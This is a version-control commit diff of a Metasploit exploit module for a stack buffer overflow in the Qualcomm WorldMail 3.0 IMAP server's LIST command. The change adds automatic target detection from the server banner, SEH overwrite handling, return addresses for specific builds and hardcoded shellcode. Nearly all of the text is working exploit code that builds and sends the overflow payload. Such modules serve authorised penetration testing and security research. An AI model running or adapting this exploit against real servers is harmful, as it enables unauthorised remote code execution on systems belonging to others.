update targets, add auto_target functionality

git-svn-id: file:///home/svn/framework3/trunk@9012 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-04-05 02:09:32 +00:00
parent 756c981c2b
commit 7d45b8fdf0
1 changed files with 55 additions and 19 deletions

View File

@ -3,7 +3,7 @@
## ##
## ##
# This file is part of the Metasploit Framework and may be subject to # This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit # redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use. # Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ # http://metasploit.com/framework/
@ -17,16 +17,20 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking Rank = GreatRanking
include Msf::Exploit::Remote::Imap include Msf::Exploit::Remote::Imap
include Msf::Exploit::Remote::Seh
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow', 'Name' => 'Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow',
'Description' => %q{ 'Description' => %q{
This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server
version 3.0 (build version 6.1.22.0). Using the PAYLOAD of windows/shell_bind_tcp version 3.0 (builds 6.1.19.0 through 6.1.22.0). Version 6.1.22.1 fixes this
allows or the most reliable results. particular vulnerability.
NOTE: The service does NOT restart automatically by default. You may be limited to
only one attempt, so choose wisely!
}, },
'Author' => [ 'MC' ], 'Author' => [ 'MC', 'jduck' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
@ -44,43 +48,75 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' => 'Payload' =>
{ {
'Space' => 750, 'Space' => 750,
'BadChars' => "\x00\x0a\x20\x0d\x7b", 'BadChars' => "\x00\x0a\x0d\x20\x7b",
'StackAdustment' => -3500, 'StackAdustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'WorldMail 3 Version 6.1.20', { 'Ret' => 0x10022187 } ], # msremote.dll [ 'Automatic', { } ],
[ 'WorldMail 3 Version 6.1.19.0', { 'Ret' => 0x600b6317 } ], # p/p/r in MLstMgr.dll v6.1.19.0
[ 'WorldMail 3 Version 6.1.20.0', { 'Ret' => 0x10022187 } ], # msremote.dll
], ],
'DisclosureDate' => 'Dec 20 2005', 'DisclosureDate' => 'Dec 20 2005',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
end end
def check def check
connect targ = auto_target
disconnect disconnect
if (banner and banner =~ /WorldMail 3 IMAP4 Server 6.1.22.0 ready/) return Exploit::CheckCode::Vulnerable if (targ)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
def exploit def auto_target
connect connect
if (banner and banner =~ /WorldMail/ and banner =~ /IMAP4 Server (.*) ready/)
version = $1
ver = version.split('.')
if (ver.length == 4)
major = ver[0].to_i
minor = ver[1].to_i
rev = ver[2].to_i
build = ver[3].to_i
if (major == 6 and minor == 1)
return targets[1] if (rev == 19)
return targets[2] if (rev == 20)
end
end
end
# no target found
nil
end
def exploit
if (target_index == 0)
mytarget = auto_target
if mytarget
print_status("Automatically detected \"#{mytarget.name}\" ...")
else
raise RuntimeError, 'Unable to automatically detect a target'
end
else
mytarget = target
connect
end
jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28" jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d" jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b" jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"
sploit = "a001 LIST " + rand_text_alpha_upper(20, payload_badchars) sploit = "a001 LIST " + rand_text_alphanumeric(20)
sploit << payload.encoded + "\xeb\x06" + make_nops(2) + [target.ret].pack('V') sploit << payload.encoded
sploit << make_nops(8) + jmp + rand_text_alpha_upper(40, payload_badchars) sploit << generate_seh_record(mytarget.ret)
sploit << make_nops(8) + jmp + rand_text_alphanumeric(40)
sploit << "}" + "\r\n" sploit << "}" + "\r\n"
sock.put(sploit) sock.put(sploit)
handler handler
disconnect disconnect
end end